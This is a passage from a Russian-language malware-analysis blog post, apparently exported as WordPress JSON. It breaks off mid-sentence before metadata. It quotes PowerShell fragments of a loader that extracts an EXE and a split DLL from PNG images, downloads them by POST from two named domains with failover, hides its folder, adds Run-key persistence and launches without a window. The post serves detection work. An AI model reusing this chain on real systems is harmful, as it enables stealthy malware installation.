\u043d\u0435 \u0432\u044b\u0445\u043e\u0434\u0438\u0442 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043c\u0430\u0441\u0441\u0438\u0432\u0430:if ($dataLength -gt ($allBytes.Length — 8)) {    throw «Invalid data length specified in image»}\u0418 \u0437\u0430\u0442\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044e\u0442\u0441\u044f:[System.IO.File]::WriteAllBytes(    $OutputFilePath,    $allBytes[8..(7 + $dataLength)])\u0422\u043e \u0435\u0441\u0442\u044c \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u043c\u0430\u0433\u0438\u0438.\u0415\u0441\u0442\u044c \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430, \u0435\u0441\u0442\u044c \u043c\u0430\u0441\u0441\u0438\u0432 \u0431\u0430\u0439\u0442\u043e\u0432, \u043f\u0435\u0440\u0432\u044b\u0435 8 \u0431\u0430\u0439\u0442 \u0433\u043e\u0432\u043e\u0440\u044f\u0442, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0430\u043d\u043d\u044b\u0445 \u0431\u0440\u0430\u0442\u044c, \u0432\u0441\u0451 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u2014 payload.\u041f\u0435\u0440\u0432\u044b\u0439 PNG \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 EXE\u0422\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441 \u043f\u0435\u0440\u0432\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c.\u0421\u043a\u0440\u0438\u043f\u0442 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043f\u0443\u0442\u044c:$fullExePath = Join-Path $fullFolderPath «LockScreenContentServer.exe»\u0410 \u043f\u043e\u0442\u043e\u043c:Extract-RawFileFromImage `    -ImagePath $fullImagePath1 `    -OutputFilePath $fullExePath\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f:PNG \u2193\u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0431\u0430\u0439\u0442\u043e\u0432 \u2193LockScreenContentServer.exe\u0421\u0430\u043c\u043e \u0438\u043c\u044f LockScreenContentServer.exe \u0442\u043e\u0436\u0435 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435.\u0412\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a, \u0431\u0443\u0434\u0442\u043e \u044d\u0442\u043e \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0448\u0442\u0430\u0442\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 Windows, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u044d\u043a\u0440\u0430\u043d\u043e\u043c \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438.\u041d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u044d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0438\u043c\u044f \u0444\u0430\u0439\u043b\u0430.\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u043d\u0435 \u0441\u0442\u0430\u043b \u043f\u0440\u0438\u0434\u0443\u043c\u044b\u0432\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u0432\u0440\u043e\u0434\u0435 super_malware_final_v7.exe. \u0417\u0430\u0447\u0435\u043c? \u041d\u0430\u043c\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0435\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0441\u043a\u0443\u0447\u043d\u043e \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e.\u0410 \u0442\u0435\u043f\u0435\u0440\u044c DLL \u0440\u0430\u0437\u0440\u0435\u0436\u0435\u043c \u043f\u043e\u043f\u043e\u043b\u0430\u043c\u0421 \u043f\u0435\u0440\u0432\u044b\u043c PNG \u0432\u0441\u0451 \u043f\u043e\u043d\u044f\u0442\u043d\u043e.\u041d\u043e \u0434\u0430\u043b\u044c\u0448\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u0448\u0442\u0443\u043a\u0430.\u0412\u0442\u043e\u0440\u043e\u0439 PNG \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432:part1.tmp\u0410 \u0442\u0440\u0435\u0442\u0438\u0439:part2.tmp\u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442 \u0447\u0438\u0442\u0430\u0435\u0442 \u043e\u0431\u0430 \u0444\u0430\u0439\u043b\u0430:$part1Bytes = [System.IO.File]::ReadAllBytes($tempPart1)$part2Bytes = [System.IO.File]::ReadAllBytes($tempPart2)\u0418 \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u0441\u043a\u043b\u0435\u0438\u0432\u0430\u0435\u0442:$combined = $part1Bytes + $part2Bytes\u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043f\u0438\u0448\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:[System.IO.File]::WriteAllBytes(    $fullDllPath,    $combined)\u0410 $fullDllPath \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430:dui70.dll\u0422\u043e \u0435\u0441\u0442\u044c \u0432\u0441\u044f \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:PNG #1  \u2193LockScreenContentServer.exePNG #2  \u2193part1.tmp       \\        +—-> dui70.dll       \/PNG #3  \u2193part2.tmp\u0418 \u043c\u043d\u0435 \u044d\u0442\u0430 \u0447\u0430\u0441\u0442\u044c \u043a\u0430\u043a \u0440\u0430\u0437 \u043f\u043e\u043d\u0440\u0430\u0432\u0438\u043b\u0430\u0441\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0441\u0435\u0433\u043e. DLL \u043f\u0440\u043e\u0441\u0442\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u043d\u0430 \u0434\u0432\u0435 \u0447\u0430\u0441\u0442\u0438 \u0438 \u0441\u043f\u0440\u044f\u0442\u0430\u043b\u0438 \u043a\u0430\u0436\u0434\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0435. \u041d\u0438\u043a\u0430\u043a\u043e\u0433\u043e \u0441\u043b\u043e\u0436\u043d\u043e\u0433\u043e \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430. \u041d\u0438\u043a\u0430\u043a\u043e\u0433\u043e AES \u043d\u0430 15 \u0442\u044b\u0441\u044f\u0447 \u0441\u0442\u0440\u043e\u043a \u043a\u043e\u0434\u0430.\u041f\u0440\u043e\u0441\u0442\u043e:\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u2192 \u0441\u043f\u0440\u044f\u0442\u0430\u043b\u0438 \u2192 \u0441\u043a\u0430\u0447\u0430\u043b\u0438 \u2192 \u0441\u043a\u043b\u0435\u0438\u043b\u0438.\u0418\u043d\u043e\u0433\u0434\u0430 \u0441\u0430\u043c\u044b\u0435 \u043f\u0440\u043e\u0441\u0442\u044b\u0435 \u0432\u0435\u0449\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043b\u0443\u0447\u0448\u0435 \u0432\u0441\u0435\u0433\u043e.\u0412\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0434\u043e\u043b\u0433\u043e \u043d\u0435 \u0436\u0438\u0432\u0443\u0442\u041f\u043e\u0441\u043b\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 DLL \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0447\u0430\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f:Remove-Item -Path $tempPart1 -ForceRemove-Item -Path $tempPart2 -Force\u0410 \u0432 \u0441\u0430\u043c\u043e\u043c \u043a\u043e\u043d\u0446\u0435 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f \u0438 \u0441\u0430\u043c\u0438 PNG:Remove-Item -Path $fullImagePath1 -ForceRemove-Item -Path $fullImagePath2 -ForceRemove-Item -Path $fullImagePath3 -Force\u0422\u043e \u0435\u0441\u0442\u044c \u0435\u0441\u043b\u0438 \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0443\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u0430, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0435 \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 PNG.\u0411\u044b\u043b\u043e:PNGPNGPNG\u041f\u043e\u0442\u043e\u043c:part1.tmppart2.tmp\u041f\u043e\u0442\u043e\u043c:dui70.dll\u0410 \u0437\u0430\u0442\u0435\u043c \u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0447\u0430\u0441\u0442\u0438 \u0438\u0441\u0447\u0435\u0437\u043b\u0438. \u0421\u043b\u0435\u0434\u043e\u0432 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\u0417\u0430\u0447\u0435\u043c \u043d\u0443\u0436\u0435\u043d \u0432\u0442\u043e\u0440\u043e\u0439 \u0434\u043e\u043c\u0435\u043d\u0421\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438:function Download-WithFailover\u0412\u043d\u0443\u0442\u0440\u0438:foreach ($domain in $contentDomains) {\u0422\u043e \u0435\u0441\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0435\u0442 \u043e\u0431\u0430 \u0434\u043e\u043c\u0435\u043d\u0430.\u0415\u0441\u043b\u0438 \u043f\u0435\u0440\u0432\u044b\u0439 \u043d\u0435 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442:catch {    Write-Log «Download failed from $domain : $_» «WARNING»}\u043e\u043d \u043f\u0440\u043e\u0441\u0442\u043e \u0438\u0434\u0451\u0442 \u0434\u0430\u043b\u044c\u0448\u0435.\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u0430\u044f \u0441\u0445\u0435\u043c\u0430:bestsocialmedianewspapper.com          |          | \u043e\u0448\u0438\u0431\u043a\u0430          vofflineupdater.com\u042d\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u044b\u0439 failover.\u0415\u0441\u043b\u0438 \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d \u0443\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u0438, \u0432\u0442\u043e\u0440\u043e\u0439 \u0432\u0441\u0451 \u0435\u0449\u0451 \u043c\u043e\u0436\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c.\u0418 \u0435\u0449\u0451 \u043e\u0434\u0438\u043d \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u2014 POST\u0414\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f:Invoke-WebRequest `    -Uri $url `    -OutFile $DestinationPath `    -Method POST\u0422\u043e \u0435\u0441\u0442\u044c \u0444\u0430\u0439\u043b \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 HTTP POST. \u0414\u043b\u044f \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440. GET \u0437\u0434\u0435\u0441\u044c \u0431\u044b\u043b \u0431\u044b \u0432\u043f\u043e\u043b\u043d\u0435 \u0435\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043b\u044f \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0434\u0435\u0442\u0435\u043a\u0442\u0430 \u044d\u0442\u043e \u0442\u043e\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u043c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u043c. \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0435\u0441\u043b\u0438 \u0440\u044f\u0434\u043e\u043c \u043c\u044b \u0432\u0438\u0434\u0438\u043c:PowerShell+POST+PNG+ProgramData+\u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 EXE\/DLL\u0412 \u0442\u0430\u043a\u043e\u043c \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0443\u0436\u0435 \u0445\u043e\u0447\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442.\u041c\u0430\u0441\u043a\u0438\u0440\u0443\u0435\u043c \u043f\u0430\u043f\u043a\u0443\u041a\u043e\u0433\u0434\u0430 \u0432\u0441\u0435 \u0444\u0430\u0439\u043b\u044b \u0433\u043e\u0442\u043e\u0432\u044b, \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442:attrib +h +s «$fullFolderPath»\u0417\u0434\u0435\u0441\u044c \u0432\u0441\u0451 \u043f\u0440\u043e\u0441\u0442\u043e.+h \u2014 Hidden.+s \u2014 System.\u0422\u043e \u0435\u0441\u0442\u044c \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u0441\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e.\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:C:\\ProgramData\\WindowsLogonKeyManager_x8k29asd\u043e\u0431\u044b\u0447\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0443\u0436\u0435 \u043d\u0435 \u0442\u0430\u043a \u043f\u0440\u043e\u0441\u0442\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c.\u0425\u043e\u0442\u044f, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u043e\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u044d\u0442\u043e \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0435 \u0441\u043f\u0430\u0441\u0430\u0435\u0442.attrib \u2014 \u043d\u0435 \u0432\u043e\u043b\u0448\u0435\u0431\u043d\u0430\u044f \u043a\u043d\u043e\u043f\u043a\u0430 \u00ab\u0441\u043f\u0440\u044f\u0442\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u00bb.Persistence\u0422\u0435\u043f\u0435\u0440\u044c \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u2014 \u043a\u0430\u043a \u0432\u0441\u0451 \u044d\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438.\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f:$regPath = «HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run»\u0410 \u0437\u0430\u0442\u0435\u043c:Set-ItemProperty `    -Path $regPath `    -Name $runName `    -Value $fullExePath\u0418\u043c\u044f \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0442\u043e\u0436\u0435 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u043e:$runName = $serviceName + » » + (Get-SecureRandomName -Length 8)\u0422\u043e \u0435\u0441\u0442\u044c \u0443\u0441\u043b\u043e\u0432\u043d\u043e \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u044f\u0432\u0438\u0442\u044c\u0441\u044f:Windows Logon Key Manager a82k91fd\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0434\u0435\u0442 \u043f\u0443\u0442\u044c:C:\\ProgramData\\WindowsLogonKeyManager_xxxxxxxx\\LockScreenContentServer.exe\u0418 \u0432\u043e\u0442 \u0437\u0434\u0435\u0441\u044c \u043e\u043a\u043e\u043d\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e Windows Logon Key Manager \u2014 \u044d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u043a\u0440\u0430\u0441\u0438\u0432\u043e\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435.Windows Service \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f.\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a \u0447\u0435\u0440\u0435\u0437 Run.\u0421\u0430\u043c \u0437\u0430\u043f\u0443\u0441\u043a \u0442\u043e\u0436\u0435 \u0441\u0434\u0435\u043b\u0430\u043b\u0438 \u043f\u043e\u0442\u0438\u0448\u0435\u041f\u043e\u0441\u043b\u0435 \u0432\u0441\u0435\u0445 \u044d\u0442\u0438\u0445 \u043f\u0440\u0438\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f:cmd.exe\u0441 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u043c:\/c «$fullExePath»\u041f\u0440\u0438 \u044d\u0442\u043e\u043c:$processInfo.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden$processInfo.CreateNoWindow = $true\u0422\u043e \u0435\u0441\u0442\u044c \u043a\u043e\u043d\u0441\u043e\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f.\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c:powershell.exe      \u2193cmd.exe      \u2193LockScreenContentServer.exe\u0418 \u0432\u0441\u0451 \u044d\u0442\u043e \u0431\u0435\u0437 \u043a\u0440\u0430\u0441\u0438\u0432\u043e\u0433\u043e \u0447\u0451\u0440\u043d\u043e\u0433\u043e \u043e\u043a\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0432\u043d\u0435\u0437\u0430\u043f\u043d\u043e \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u0440\u0435\u0434\u0438 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430.\u0410 \u0437\u0430\u0447\u0435\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u041f\u041e \u0432\u043e\u043e\u0431\u0449\u0435 \u043b\u043e\u0433?\u0412\u043e\u0442 \u0437\u0434\u0435\u0441\u044c \u044f \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0443\u0434\u0438\u0432\u0438\u043b\u0441\u044f.\u0421\u043a\u0440\u0438\u043f\u0442 \u0441\u0430\u043c \u043f\u0438\u0448\u0435\u0442 \u043b\u043e\u0433:Add-Content `    -Path «$outputBasePath\\WindowsLogonKeyManager.log» `    -Value $logEntry\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f:C:\\ProgramData\\WindowsLogonKeyManager.log\u0422\u0443\u0434\u0430 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a.\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:Initializing Windows Logon Key ManagerCreated working folderDownloading …Extracting …Combining parts …Starting …\u0421 \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b, \u0434\u043b\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430 \u044d\u0442\u043e…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-493017","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/493017","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=493017"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/493017\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=493017"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=493017"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=493017"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}